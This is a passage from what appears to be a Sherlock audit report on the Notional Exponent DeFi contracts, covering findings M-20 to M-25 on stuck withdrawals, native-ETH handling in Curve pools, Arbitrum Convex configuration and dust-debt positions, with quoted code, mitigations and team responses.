It was found that the Curve LP token will be deposited to Convex via the `IConvexBooster(CONVEX_BOOSTER).deposit(CONVEX_POOL_ID, lpTokens, true)` interface/function.

https://github.com/sherlock-audit/2025-06-notional-exponent/blob/main/notional-v4/src/single-sided-lp/CurveConvex2Token.sol#L291

```
File: CurveConvex2Token.sol
291:     function _stakeLpTokens(uint256 lpTokens) internal {
292:         if (CONVEX_BOOSTER != address(0)) {
```

```
            bool success = IConvexBooster(CONVEX_BOOSTER).deposit(CONVEX_POOL_ID, lpTokens, true);
            require(success);
        } else {
            ICurveGauge(CURVE_GAUGE).deposit(lpTokens);
        }
    }
```

The following is that Booster contract address taken from the official documentation (https://docs.convexfinance.com/convexfinance/faq/contract-addresses):

Ethereum

- Booster(main deposit contract): 0xF403C135812408BFbE8713b5A23a04b3D48AAE31

```
//deposit lp tokens and stake
function deposit(uint256 _pid, uint256 _amount, bool _stake) public returns(bool){
    require(!isShutdown,"shutdown");
    PoolInfo storage pool = poolInfo[_pid];
    require(pool.shutdown == false, "pool is closed");
```

Arbitrum

- Booster: 0xF403C135812408BFbE8713b5A23a04b3D48AAE31

```
//deposit lp tokens and stake
function deposit(uint256 _pid, uint256 _amount) public returns(bool){
    require(!isShutdown,"shutdown");
    PoolInfo storage pool = poolInfo[_pid];
    require(pool.shutdown == false, "pool is closed");
```

Notice that the interface of the `deposit` function in Arbitrum is different from Ethereum. Arbitum's deposit function only accept two parameters while Ethereum's deposit function requires three parameters.

Thus, when attempting to deposit Curve LP tokens to Convex in Arbitrum, the transaction revert due to incorrect function interfaces.

Impact

The protocol will not work because staking the LP token will cause the entire transaction to revert, preventing anyone from entering the position.

PoC

No response

Mitigation

```
function _stakeLpTokens(uint256 lpTokens) internal {
    if (CONVEX_BOOSTER != address(0)) {
+           bool success;
+           if (Deployments.CHAIN_ID == Constants.CHAIN_ID_MAINNET) {
-               bool success =
 ↪  IConvexBooster(CONVEX_BOOSTER).deposit(CONVEX_POOL_ID, lpTokens, true);
+                       success =
 ↪  IConvexBooster(CONVEX_BOOSTER).deposit(CONVEX_POOL_ID, lpTokens, true);
        } else if (Deployments.CHAIN_ID == Constants.CHAIN_ID_ARBITRUM) {
+               success =
 ↪  IConvexBoosterArbitrum(CONVEX_BOOSTER).deposit(CONVEX_POOL_ID, lpTokens);
+        }
        require(success);
    } else {
        ICurveGauge(CURVE_GAUGE).deposit(lpTokens);
    }
}
```

Discussion

jeffywu

Won't fix in this version, will fix if deployed to Arbitrum.

Issue M-20: Lack of minimum debt threshold enables unliquidatable small positions

Source:
https://github.com/sherlock-audit/2025-06-notional-exponent-judging/issues/684

This issue has been acknowledged by the team but won't be fixed at this time.

Found by

0xKemah, 0xenzo, Audinarey, EddiePumpin, LhoussainePh, Pro_King, SOPROBRO, jasonxiale, molaratai, oxwhite, theweb3mechanic

Summary

The protocol allows users to repay debt partially through the `exitPosition()` function, even if a minimal amount of debt remains (e.g., 1 wei). Since liquidation incentives are proportional to the repaid debt and gas costs are fixed, such positions offer no economic incentive for liquidators. As a result, these small debt positions accumulate over time, becoming unliquidatable and potentially leading to long-term protocol insolvency.

Root Cause

When users open a position without providing upfront collateral by calling enterPosition() with a non-zero `borrowAmount` and a `depositAssetAmount` of zero. The protocol takes a flashloan from Morpho for the borrow amount, mints shares with it, supplies those shares as collateral to Morpho, and then borrows the same amount to repay the flashloan resulting in a position where collateral equals the borrowed amount. If a deposit is provided, the collateral becomes greater than the debt. So `collateral` can be >= `borrowAmmount` . This logic enables fully collateralized positions with little or no initial user capital.

```
//AbstractLendingRouter.sol

L56:  function enterPosition(
        address onBehalf,
        address vault,
        uint256 depositAssetAmount,
        uint256 borrowAmount,
        bytes calldata depositData
    ) public override isAuthorized(onBehalf, vault) {
        _enterPosition(onBehalf, vault, depositAssetAmount, borrowAmount,
         ↪  depositData, address(0));
    }

L79:   function _enterPosition(
```

```
        address onBehalf,
        address vault,
        uint256 depositAssetAmount,
        uint256 borrowAmount,
        bytes memory depositData,
        address migrateFrom
    ) internal {
       ...
@>        if (depositAssetAmount > 0) {
            // Take any margin deposit from the sender initially
            ERC20(asset).safeTransferFrom(msg.sender, address(this),
             ↪  depositAssetAmount);
        }

  @>      if (borrowAmount > 0) {
            _flashBorrowAndEnter(
                onBehalf, vault, asset, depositAssetAmount, borrowAmount,
                 ↪  depositData, migrateFrom
            );
        } else {
            _enterOrMigrate(onBehalf, vault, asset, depositAssetAmount,
             ↪  depositData, migrateFrom);
...
```

When repaying through `exitPosition()`,

```
//AbstractLendingRouter.sol

    function exitPosition(
        address onBehalf,
        address vault,
        address receiver,
        uint256 sharesToRedeem,
        uint256 assetToRepay,
        bytes calldata redeemData
    ) external override isAuthorized(onBehalf, vault) {
        _checkExit(onBehalf, vault);

        address asset = IYieldStrategy(vault).asset();
        if (0 < assetToRepay) {
L120:            _exitWithRepay(onBehalf, vault, asset, receiver, sharesToRedeem,
 ↪  assetToRepay, redeemData);
        } else {
...
}
```

a borrower can make partial repayments that reduce their debt to extremely small amounts, such as 1 wei. These minimal debt positions offer no meaningful incentive for liquidators, who must cover fixed gas costs to execute liquidation but receive rewards that are too small especially on Ethereum mainnet which is the only chain the contract will be deployed to.

Internal Pre-conditions

- Borrower must borrow small amounts such as 1 wei.
- Or reduce his debt positions to 1 wei

External Pre-conditions

none

Attack Path

none

Impact

- Positions with tiny debt amounts remain permanently unliquidated.
- Over time, these accumulate and skew the protocol's debt accounting and solvency assumptions.

PoC

No response

Mitigation

- Enforce a minimum borrow size
- Or prevent users from leaving behind trivial debt after repay or withdrawal.

Discussion

T-Woodward

Unliquidatable small positions are the underlying lending protocol's problem, not ours. They affect the lending protocol's users (the lenders), not ours (the borrowers).

Guarding against these scenarios is their job, not ours.

Issue M-21: Funds stuck if one of the withdrawal requests cannot be finalized

Source:
https://github.com/sherlock-audit/2025-06-notional-exponent-judging/issues/692

This issue has been acknowledged by the team but won't be fixed at this time.

Found by

HeckerTrieuTien, Ledger_Patrol, auditgpt, coin2own, dan__vinci, xiaoming90

Summary

-

Root Cause

- Handling of multiple withdraw requests (WRs) is not robust enough, and the failure of one can cause the entire WRs to be stuck even though the rest of the WRs have finalized successfully.
- Lack of minimum position size could cause a revert to occur during redemption, blocking the WR from finalizing. See the main report for more details.

Internal Pre-conditions

-

External Pre-conditions

-

Attack Path

Both WRs must be finalized before the redemption is allowed to be executed, as shown in Line 397 below.

https://github.com/sherlock-audit/2025-06-notional-exponent/blob/main/notional-v4/src/single-sided-lp/AbstractSingleSidedLP.sol#L397

```
File: AbstractSingleSidedLP.sol
378:     function finalizeAndRedeemWithdrawRequest(
379:         address sharesOwner,
```

```
        uint256 sharesToRedeem
    ) external override returns (uint256[] memory exitBalances, ERC20[] memory withdrawTokens) {
        ERC20[] memory tokens = TOKENS();

        exitBalances = new uint256[](tokens.length);
        withdrawTokens = new ERC20[](tokens.length);

        WithdrawRequest memory w;
        for (uint256 i; i < tokens.length; i++) {
            IWithdrawRequestManager manager = ADDRESS_REGISTRY.getWithdrawRequestManager(address(tokens[i]));
            (w, /* */) = manager.getWithdrawRequest(address(this), sharesOwner);

            uint256 yieldTokensBurned = uint256(w.yieldTokenAmount) * sharesToRedeem / w.sharesAmount;
            bool finalized;
            (exitBalances[i], finalized) = manager.finalizeAndRedeemWithdrawRequest({
                account: sharesOwner, withdrawYieldTokenAmount: yieldTokensBurned, sharesToBurn: sharesToRedeem
            });
            if (!finalized) revert WithdrawRequestNotFinalized(w.requestId);
            withdrawTokens[i] = ERC20(manager.WITHDRAW_TOKEN());
        }
    }
```

However, the issue is that if one of the WRs cannot be finalized due to various reasons, such as:

- Insufficient funds/liquidity at the external protocol
- Validator of the Liquid Staking protocol suffers a massive slashing event, leading to insufficient liquidity to repay users
- External protocol being compromised or paused
- External protocol's finalize redemption/withdrawal function keeps reverting (can be due to an unintentional bug or malicious acts)
- If the WR is handling ERC4626 vault share, it sometimes might revert during redemption. A common revert during redemption is a classic zero share check (e.g., `require((assets = previewRedeem(shares)) != 0, "ZERO_ASSETS");)` that blocks the redemption when the assets received are zero, which might occur due to rounding errors. This generally occurs when the share to be redeemed is small, and since Notional does not enforce a minimum position size, this issue can theoretically arise. One example of such is the PirexETH that is in-scope, where it will revert if the assets received round down to zero (see here). Same for AutoPxETH (See here). There are two (2) root causes here: 1) Lack of minimum position size 2) Handling of multiple WRs are not robust enough and the failure of one can cause

entire WRs to be stuck.

- To add-on to the previous point, some staking protocols (e.g., LIDO) enforced a minimum withdrawal amount. If the amount of LST to be unstaked is less than the minimum withdrawal amount, the redemption cannot be carried out. LIDO is one of the protocols that enforce this. Since there is no minimum position size when entering the position, this is likely to occur. In this case, such a WR cannot be finalized or even initiate withdrawal. Since the Contest's README here, mentioned that `Notional Exponent is designed to be extendable to new yield strategies and opportunities as well as new lending platforms.` , this point is valid as this issue will occur when they extended to other platforms such as LIDO.

The funds in the other WR will remain stuck and be lost.

Assume a Curve two-token pool with wstETH (7-day withdrawal period + subject to redemption queue) and USDC (no withdrawal period).

When the user initiates the withdrawal, there will be two (2) separate withdrawal requests (WR) created. First WR holds 100 wstETH and is currently pending the withdrawal period to be completed, while the second WR holds 115 WETH.

If LIDO is compromised, the first WR will not be able to be finalized, as there is no guarantee that LIDO's redemption will resume after the hack, as they may not recover from the hack.

In this case, since the requirement is that both WRs must be finalized, even though the 115 WETH can be withdrawn immediately, the protocol doesn't allow the user to do so. Thus, instead of losing around 50% of the total funds due to the LIDO hack, the user ends up allowing 100% of the funds as the entire fund is stuck.

Impact

High. Funds will get stuck if this issue happens.

PoC

No response

Mitigation

No response

Discussion

T-Woodward

Lido-specific issues are not in scope for this audit.

Regarding an external protocol getting compromised - we would have multiple avenues available to get at stuck funds. We could upgrade the impacted vault and/or wrm. For applicable wrms we could also call rescueTokens.

It's not worth the risk of implementing a bunch of complex logic to allow for a user to finalize and redeem one but not both of his withdraw requests.

Issue M-22: Setup with `asset = WETH` and a Curve pool that contains Native ETH will lead to a loss for the users

Source:
https://github.com/sherlock-audit/2025-06-notional-exponent-judging/issues/708

Found by

xiaoming90

Summary

-

Root Cause

-

Internal Pre-conditions

-

External Pre-conditions

-

Attack Path

Assume a Yield Strategy vault where its asset is WETH and the Curve Pool is Native ETH/wstETH. In this case, calling the `TOKENS()` function will return:

- tokens[0] = Curve's `0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE` = Converted to `0x0000` (Native ETH) during initialization
- tokens[1] = 0xB82381A3fBD3FaFA77B3a7bE693342618240067b (wstETH)

https://github.com/sherlock-audit/2025-06-notional-exponent/blob/main/notional-v4/src/single-sided-lp/CurveConvex2Token.sol#L162

```
File: CurveConvex2Token.sol
162:     function TOKENS() internal view override returns (ERC20[] memory) {
163:         ERC20[] memory tokens = new ERC20[](_NUM_TOKENS);
164:         tokens[0] = ERC20(TOKEN_1);
```

```
165:        tokens[1] = ERC20(TOKEN_2);
166:        return tokens;
167:    }
```

The `_PRIMARY_INDEX` will be set to 0, which is the first token of the Curve pool. The condition at Line 59 will evaluate to `True`.

https://github.com/sherlock-audit/2025-06-notional-exponent/blob/main/notional-v4/src/single-sided-lp/CurveConvex2Token.sol#L59

```
File: CurveConvex2Token.sol
57:         // Assets may be WETH, so we need to unwrap it in this case.
58:         _PRIMARY_INDEX =
59:             (TOKEN_1 == _asset || (TOKEN_1 == ETH_ADDRESS && _asset ==
↪ address(WETH))) ? 0 :
60:             (TOKEN_2 == _asset || (TOKEN_2 == ETH_ADDRESS && _asset ==
↪ address(WETH))) ? 1 :
61:             // Otherwise the primary index is not set and we will not be able
↪ to enter or exit
62:             // single sided.
63:             type(uint8).max;
```

During the exiting the position, liquidation, or initiating withdrawal, the LP tokens will be unstaked/redeemed from Curve or Convex. Let's review these three (3) operations.

Initiating withdrawal

Initiating withdrawal will eventually call the `unstakeAndExitPool` function below. After calling the `_unstakeLpTokens()` and `_exitPool()` functions in Lines 201 and 203 below, the vault will receive back 100 Native ETH and 100 wstETH (as an example).

Note

Note that when initiating a withdrawal, it will always exit proportionally, and not single-sided as per here. Users do not have the option to choose whether they want to exit proportionally or single-sidedly during the initiation of a withdrawal.

Subsequently, the 100 Native ETH will be wrapped to 100 WETH in Line 207 below with the `WETH.deposit()` function. So, there is zero Native ETH left in the vault. At this point, the balance of the vault is: 100 WETH + 100 wstETH.

https://github.com/sherlock-audit/2025-06-notional-exponent/blob/main/notional-v4/src/single-sided-lp/CurveConvex2Token.sol#L207

```
File: CurveConvex2Token.sol
198:    function unstakeAndExitPool(
199:        uint256 poolClaim, uint256[] memory _minAmounts, bool isSingleSided
200:    ) external returns (uint256[] memory exitBalances) {
201:        _unstakeLpTokens(poolClaim);
202:
203:        exitBalances = _exitPool(poolClaim, _minAmounts, isSingleSided);
```

```
204:
205:         if (ASSET == address(WETH)) {
206:             if (TOKEN_1 == ETH_ADDRESS) {
207:                 WETH.deposit{value: exitBalances[0]}();
208:             } else if (TOKEN_2 == ETH_ADDRESS) {
209:                 WETH.deposit{value: exitBalances[1]}();
210:             }
211:         }
212:     }
```

Since two tokens (Native ETH and wstETH) are being returned, this is not a single-sided exit. Thus, the `_executeRedemptionTrades` function in Line 176 will be executed.

https://github.com/sherlock-audit/2025-06-notional-exponent/blob/main/notional-v4/src/single-sided-lp/AbstractSingleSidedLP.sol#L176

```
File: AbstractSingleSidedLP.sol
145:     function _redeemShares(
146:         uint256 sharesToRedeem,
147:         address sharesOwner,
148:         bool isEscrowed, // @audit-info True if there is pending withdraw
↪ request
149:         bytes memory redeemData
150:     ) internal override {
151:         RedeemParams memory params = abi.decode(redeemData, (RedeemParams));
152:
153:         // Stores the amount of each token that has been withdrawn from the
↪ pool.
154:         uint256[] memory exitBalances;
155:         bool isSingleSided;
156:         ERC20[] memory tokens;
157:         if (isEscrowed) {
158:             // Attempt to withdraw all pending requests, tokens may be
↪ different if there
159:             // is a withdraw request.
160:             (exitBalances, tokens) = _withdrawPendingRequests(sharesOwner,
↪ sharesToRedeem);
161:             // If there are pending requests, then we are not single sided by
↪ definition
162:             isSingleSided = false;
163:         } else {
164:             isSingleSided = params.redemptionTrades.length == 0;
165:             uint256 yieldTokensBurned =
↪ convertSharesToYieldToken(sharesToRedeem);
166:             exitBalances = _unstakeAndExitPool(yieldTokensBurned,
↪ params.minAmounts, isSingleSided);
167:             tokens = TOKENS();
168:         }
169:
170:         if (!isSingleSided) {
```

```
            // If not a single sided trade, will execute trades back to the
↪ primary token on
            // external exchanges. This method will execute EXACT_IN trades to
↪ ensure that
            // all of the balance in the other tokens is sold for primary.
            // Redemption trades are not automatically enabled on vaults since
↪ the trading module
            // requires explicit permission for every token that can be sold
↪ by an address.
            _executeRedemptionTrades(tokens, exitBalances,
↪ params.redemptionTrades);
        }
    }
```

Recall that:

- tokens[0] = 0x0000 (Native ETH)
- tokens[1] = 0xB82381A3fBD3FaFA77B3a7bE693342618240067b (wstETH)

Note that the condition in Line 229 of the `_executeRedemptionTrades()` function below will never be `True` because:

```
if (address(tokens[i]) == address(asset))
if (address(0x0) == WETH)
if (false)
```

In the first iteration of the for-loop, the `Trade.sellToken` will be set to `0x0000` (Native ETH), which means it will attempt to sell 100 Native ETH. However, the issue here is that when it attempts to sell 100 Native ETH, the trade module will revert due to insufficient balance because the vault does not have 100 Native ETH.

https://github.com/sherlock-audit/2025-06-notional-exponent/blob/main/notional-v4/src/single-sided-lp/AbstractSingleSidedLP.sol#L223

```
File: AbstractSingleSidedLP.sol
223:     function _executeRedemptionTrades(
224:         ERC20[] memory tokens,
225:         uint256[] memory exitBalances,
226:         TradeParams[] memory redemptionTrades
227:     ) internal returns (uint256 finalPrimaryBalance) {
228:         for (uint256 i; i < exitBalances.length; i++) {
229:             if (address(tokens[i]) == address(asset)) {
230:                 finalPrimaryBalance += exitBalances[i];
231:                 continue;
232:             }
233:
234:             TradeParams memory t = redemptionTrades[i];
235:             // Always sell the entire exit balance to the primary token
236:             if (exitBalances[i] > 0) {
237:                 Trade memory trade = Trade({
```

```
                    tradeType: t.tradeType,
                    sellToken: address(tokens[i]),
                    buyToken: address(asset),
                    amount: exitBalances[i],
                    limit: t.minPurchaseAmount,
                    deadline: block.timestamp,
                    exchangeData: t.exchangeData
                });
                (/* */, uint256 amountBought) = _executeTrade(trade, t.dexId);

                finalPrimaryBalance += amountBought;
            }
        }
    }
```

Due to the revert, this means that in this setup, none of the users can initiate a withdrawal request because initiating a withdrawal request will always exit proportionally. As shown above, it will ultimately result in a revert.

Exiting position and liquidation

How about exiting position and liquidation? Are these two critical operations affected by this revert? If these operations are performed via proportional exit, it will eventually revert the transaction too. However, these operations give callers the option to choose if they want to exit proportional or single-sided.

Let's see if we can workaround this problem by performing a single-side exit by setting `params.redemptionTrades.length == 0` since we already know that proportional exit does not work, as discussed earlier.

When the `_exitPool()` function below is executed, the exit balances will be as follows (assume 1 wstETH = 1 ETH):

- exitBalances[PRIMARY_INDEX] = exitBalances[0] = 200 Native ETH
- exitBalances[1] = 0

200 Native ETH were later swapped for 200 WETH. It works as intended as all LP tokens have been redeemed back to the asset token (200 WETH)

https://github.com/sherlock-audit/2025-06-notional-exponent/blob/main/notional-v4/src/single-sided-lp/CurveConvex2Token.sol#L244

```
File: CurveConvex2Token.sol
    function _exitPool(
        uint256 poolClaim, uint256[] memory _minAmounts, bool isSingleSided
    ) internal returns (uint256[] memory exitBalances) {
        if (isSingleSided) {
            exitBalances = new uint256[](_NUM_TOKENS);
            if (CURVE_INTERFACE == CurveInterface.V1 || CURVE_INTERFACE == CurveInterface.StableSwapNG) {
                // Method signature is the same for v1 and stable swap ng
```

```
                exitBalances[_PRIMARY_INDEX] = ICurve2TokenPoolV1(CURVE_POOL).remove_liquidity_one_coin(
                    poolClaim, int8(_PRIMARY_INDEX), _minAmounts[_PRIMARY_INDEX]
                );
            } else {
                exitBalances[_PRIMARY_INDEX] = ICurve2TokenPoolV2(CURVE_POOL).remove_liquidity_one_coin(
                    // Last two parameters are useEth = true and receiver = this contract
                    poolClaim, _PRIMARY_INDEX, _minAmounts[_PRIMARY_INDEX], true, address(this)
                );
            }
        } else {
```

In summary, during exiting position and liquidation, the user is always forced to perform a single-sided exit via Curve's `remove_liquidity_one_coin`. Forcing users to perform a single-sided exit is an issue here.

However, the problem here is that due to the AMM and fee math in the Curve pool, any single-asset withdrawals that worsen the pool imbalance will incur a greater imbalance penalty. Thus, if the Curve pool is imbalanced, the single-sided exit will result in fewer assets being received.

Impact

Exiting position and liquidation

High, as this led to a loss of assets during the forced single-sided exit.

The impact is similar to the past Notional contest issues (https://github.com/sherlock-audit/2023-10-notional-judging/issues/87 and https://github.com/sherlock-audit/2023-10-notional-judging/issues/82), which are judged as a valid High.

Initiating withdrawal request

Users are unable to initiate a withdrawal request due to a revert. In this case, users are always forced to swap their yield tokens for asset tokens via a DEX, which incurs unnecessary slippage and fees.

PoC

No response

Mitigation

No response

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits: https://github.com/notional-finance/notional-v4/pull/26/files

Issue M-23: Unable to support Curve Pool with Native ETH

Source:
https://github.com/sherlock-audit/2025-06-notional-exponent-judging/issues/717

Found by

auditgpt, touristS, xiaoming90

Summary

-

Root Cause

-

Internal Pre-conditions

-

External Pre-conditions

-

Attack Path

If any of the tokens of the Curve Pool are Native ETH (0xEEEEE...), the `_rewriteAltETH()` function at Lines 54 and 55 will rewrite the address from 0xEEEEE to 0x00000.

https://github.com/sherlock-audit/2025-06-notional-exponent/blob/main/notional-v4/src/single-sided-lp/CurveConvex2Token.sol#L54

```
File: CurveConvex2Token.sol
39:     constructor(
40:         uint256 _maxPoolShare,
41:         address _asset,
42:         address _yieldToken,
43:         uint256 _feeRate,
44:         address _rewardManager,
45:         DeploymentParams memory params,
46:         IWithdrawRequestManager _withdrawRequestManager
```

```
    ) AbstractSingleSidedLP(_maxPoolShare, _asset, _yieldToken, _feeRate, _rewardManager, 18, _withdrawRequestManager) {
        CURVE_POOL_TOKEN = ERC20(params.poolToken);

        // We interact with curve pools directly so we never pass the token addresses back
        // to the curve pools. The amounts are passed back based on indexes instead. Therefore
        // we can rewrite the token addresses from ALT Eth (0xeeee...) back to (0x0000...) which
        // is used by the vault internally to represent ETH.
        TOKEN_1 = _rewriteAltETH(ICurvePool(params.pool).coins(0));
        TOKEN_2 = _rewriteAltETH(ICurvePool(params.pool).coins(1));
```

Assume a Curve pool with the first token is Native ETH, while the second token is a normal ERC20 token (e.g., wstETH). In this case, calling the `TOKENS()` function will return:

- tokens[0] = 0x0000 (Native ETH)
- tokens[1] = 0xB82381A3fBD3FaFA77B3a7bE693342618240067b (wstETH)

https://github.com/sherlock-audit/2025-06-notional-exponent/blob/main/notional-v4/src/single-sided-lp/CurveConvex2Token.sol#L162

```
File: CurveConvex2Token.sol
162:     function TOKENS() internal view override returns (ERC20[] memory) {
163:         ERC20[] memory tokens = new ERC20[](_NUM_TOKENS);
164:         tokens[0] = ERC20(TOKEN_1);
165:         tokens[1] = ERC20(TOKEN_2);
166:         return tokens;
167:     }
```

When computing the value of the Curve LP token, the `getWithdrawRequestValue()` function will attempt to loop through all tokens in Line 326 below.

https://github.com/sherlock-audit/2025-06-notional-exponent/blob/main/notional-v4/src/single-sided-lp/AbstractSingleSidedLP.sol#L326

```
File: AbstractSingleSidedLP.sol
319:     function getWithdrawRequestValue(
320:         address account,
321:         address asset,
322:         uint256 shares
323:     ) external view returns (uint256 totalValue) {
324:         ERC20[] memory tokens = TOKENS();
325:
326:         for (uint256 i; i < tokens.length; i++) {
327:             IWithdrawRequestManager manager = ADDRESS_REGISTRY.getWithdrawRequestManager(address(tokens[i]));
328:             // This is called as a view function, not a delegate call so use the msg.sender to get
```

```
329:             // the correct vault address
330:             (bool hasRequest, uint256 value) =
↪  manager.getWithdrawRequestValue(msg.sender, account, asset, shares);
331:             // Ensure that this is true so that we do not lose any value.
332:             require(hasRequest);
333:             totalValue += value;
334:         }
335:     }
```

In the first iteration, where `tokens[0] = 0x0000 (Native ETH)`, it will execute the following code at Line 327:

```
IWithdrawRequestManager manager =
↪  ADDRESS_REGISTRY.getWithdrawRequestManager(address(tokens[i]));
IWithdrawRequestManager manager =
↪  ADDRESS_REGISTRY.getWithdrawRequestManager(address(0));
```

It will attempt to fetch the Withdraw Request Manager for Native ETH (0x0).

However, it will revert because there is no Withdraw Request Manager (WRM) for Native ETH. There is only WRM for Standard ERC20, but not Native ETH.

The `BaseLPLib.hasPendingWithdrawals()` function is also affected by the same issue when looping through all the tokens to obtain the WRM.

https://github.com/sherlock-audit/2025-06-notional-exponent/blob/main/notional-v4/src/single-sided-lp/AbstractSingleSidedLP.sol#L338

```
File: AbstractSingleSidedLP.sol
338:     function hasPendingWithdrawals(address account) external view override
↪  returns (bool) {
339:         ERC20[] memory tokens = TOKENS();
340:         for (uint256 i; i < tokens.length; i++) {
341:             IWithdrawRequestManager manager =
↪  ADDRESS_REGISTRY.getWithdrawRequestManager(address(tokens[i]));
342:             if (address(manager) == address(0)) continue;
343:             // This is called as a view function, not a delegate call so use
↪  the msg.sender to get
344:             // the correct vault address
345:             (WithdrawRequest memory w, /* */) =
↪  manager.getWithdrawRequest(msg.sender, account);
346:             if (w.requestId != 0) return true;
347:         }
348:
349:         return false;
350:     }
```

Same for `BaseLPLib.initiateWithdraw()`, `BaseLPLib.finalizeAndRedeemWithdrawRequest()`, `BaseLPLib.tokenizeWithdrawRequest()`.

Impact

High. This issue is aggravated by the fact that the protocol is designed to handle depositing Native ETH to Curve pool, but the problem will surface during withdrawal and liquidation. In the worst-case scenario, users deposit funds into the protocol but are unable to withdraw them, resulting in their funds being stuck.

Additionally, core functionality is broken, as Curve Pool with Native ETH will not work with the protocol.

PoC

No response

Mitigation

No response

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits: https://github.com/notional-finance/notional-v4/pull/26/files

Issue M-24: Convex cannot be configured for the Yield Strategy vault in Arbitrum even though Convex is available in Arbitrum

Source:
https://github.com/sherlock-audit/2025-06-notional-exponent-judging/issues/775

This issue has been acknowledged by the team but won't be fixed at this time.

Found by

0xRstStn, 0xShoonya, Atharv, Ledger_Patrol, anchabadze, h2134, holtzzx, jasonxiale, kangaroo, lodelux, theweb3mechanic, xiaoming90

Summary

-

Root Cause

-

Internal Pre-conditions

-

External Pre-conditions

-

Attack Path

Per the contest's README, Base and Arbitrum are in-scope for this contest. Sherlock's Judge has further confirmed this in the Discord channel.

> Q: On what chains are the smart contracts going to be deployed? Ethereum, in the future we will consider Base or Arbitrum

However, it was observed that Convex cannot be configured for the Yield Strategy vault in Arbitum even though Convex is available in Arbitrum.

In Line 137, the `block.chainid == CHAIN_ID_MAINNET` condition will always be false in Arbitrum and thus the `convexBooster` can never be configured.

https://github.com/sherlock-audit/2025-06-notional-exponent/blob/main/notional-v4/src/single-sided-lp/CurveConvex2Token.sol#L137

```
File: CurveConvex2Token.sol
115:     constructor(
116:         address _token1,
117:         address _token2,
118:         address _asset,
119:         uint8 _primaryIndex,
120:         DeploymentParams memory params
121:     ) {
122:         TOKEN_1 = _token1;
123:         TOKEN_2 = _token2;
124:         ASSET = _asset;
125:         _PRIMARY_INDEX = _primaryIndex;
126:
127:         CURVE_POOL = params.pool;
128:         CURVE_GAUGE = params.gauge;
129:         CURVE_POOL_TOKEN = ERC20(params.poolToken);
130:         CURVE_INTERFACE = params.curveInterface;
131:
132:         // If the convex reward pool is set then get the booster and pool id, if not then
133:         // we will stake on the curve gauge directly.
134:         CONVEX_REWARD_POOL = params.convexRewardPool;
135:         address convexBooster;
136:         uint256 poolId;
137:         if (block.chainid == CHAIN_ID_MAINNET && CONVEX_REWARD_POOL != address(0)) {
138:             convexBooster = IConvexRewardPool(CONVEX_REWARD_POOL).operator();
139:             poolId = IConvexRewardPool(CONVEX_REWARD_POOL).pid();
140:         }
141:
142:         CONVEX_POOL_ID = poolId;
143:         CONVEX_BOOSTER = convexBooster;
144:     }
```

Impact

Medium. Core functionality is broken.

PoC

No response

Mitigation

No response

Discussion

T-Woodward

Won't fix in this version, will fix if deployed to Arbitrum.

Issue M-25: Revert in `getWithdrawRequestValue()` function will brick the account

Source:
https://github.com/sherlock-audit/2025-06-notional-exponent-judging/issues/779

Found by

xiaoming90

Summary

-

Root Cause

- Revert can occur in `getWithdrawRequestValue()` function, which the critical `price()` function depends on, due to a lack of proper error handling.
- Incorrect assumption that the exit balance will never be zero under any circumstances.

Internal Pre-conditions

-

External Pre-conditions

-

Attack Path

Main Issue

It was found that when computing the value of the withdraw request, it will attempt to loop through all Cruve's pool tokens and check if there is a withdraw request for the current token. If not, the transaction will revert in Line 332 below.

The issue is that if it is ever possible to cause a revert in Line 332, it will be a serious issue because Morpho can no longer fetch the price. The Notional's `price()` relies on the `getWithdrawRequestValue()` function. If the `price()` reverts when Morpho is reading it, the affected account's position will be stuck forever, as none of the operations (exit position, repay debt, withdraw collateral, liquidation) can be performed.

https://github.com/sherlock-audit/2025-06-notional-exponent/blob/main/notional-v4/src/single-sided-lp/AbstractSingleSidedLP.sol#L332

```
File: AbstractSingleSidedLP.sol
319:     function getWithdrawRequestValue(
320:         address account,
321:         address asset,
322:         uint256 shares
323:     ) external view returns (uint256 totalValue) {
324:         ERC20[] memory tokens = TOKENS();
325:
326:         for (uint256 i; i < tokens.length; i++) {
327:             IWithdrawRequestManager manager =
 ↪ ADDRESS_REGISTRY.getWithdrawRequestManager(address(tokens[i]));
328:             // This is called as a view function, not a delegate call so use
 ↪ the msg.sender to get
329:             // the correct vault address
330:             (bool hasRequest, uint256 value) =
 ↪ manager.getWithdrawRequestValue(msg.sender, account, asset, shares);
331:             // Ensure that this is true so that we do not lose any value.
332:             require(hasRequest);
333:             totalValue += value;
334:         }
335:     }
```

Let's review if there is a possibility where the revert in Line 332 can be triggered.

It was found that it is possible under certain conditions. If the exit balance of one of the tokens is zero, no withdraw request will be created for that specific token, as shown in Line 362. Creation of the withdraw request will be skipped.

https://github.com/sherlock-audit/2025-06-notional-exponent/blob/main/notional-v4/src/single-sided-lp/AbstractSingleSidedLP.sol#L363

```
File: AbstractSingleSidedLP.sol
353:     function initiateWithdraw(
354:         address account,
355:         uint256 sharesHeld,
356:         uint256[] calldata exitBalances,
357:         bytes[] calldata withdrawData
358:     ) external override returns (uint256[] memory requestIds) {
359:         ERC20[] memory tokens = TOKENS();
360:
361:         requestIds = new uint256[](exitBalances.length);
362:         for (uint256 i; i < exitBalances.length; i++) {
363:             if (exitBalances[i] == 0) continue;
364:             IWithdrawRequestManager manager =
 ↪ ADDRESS_REGISTRY.getWithdrawRequestManager(address(tokens[i]));
365:
366:             tokens[i].checkApprove(address(manager), exitBalances[i]);
```

```
            // Will revert if there is already a pending withdraw
            requestIds[i] = manager.initiateWithdraw({
                account: account,
                yieldTokenAmount: exitBalances[i],
                sharesAmount: sharesHeld,
                data: withdrawData[i]
            });
        }
    }
```

Thus, the current implementation will only work if there is an assumption or invariant that the exit balance of any tokens can never be zero under any circumstances.

However, this assumption and the invariant do not hold at all times due to the following reasons:

1. If users have almost entirely swapped out one token, leaving its balance nearly or exactly zero, then proportional withdrawal will result in zero for that token. If it is near zero or an extremely small amount, the returned token amount might round down to zero.
2. Notional does not enforce a minimum position size. Thus, if the position is tiny, the LP token to be exited will be tiny, and withdrawal for a given token can round down to zero. Tokens with small decimal precision (e.g, USDC=6, WBTC=8) are more susceptible to this rounding problem.
3. After a major “depeg event” or manipulation, one token could be totally depleted

Impact

Funds are being stuck as shown in the scenario above.

PoC

No response

Mitigation

No response

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/notional-finance/notional-v4/pull/23/commits/a809036c2543ba434309374de715a8173b7bf39a

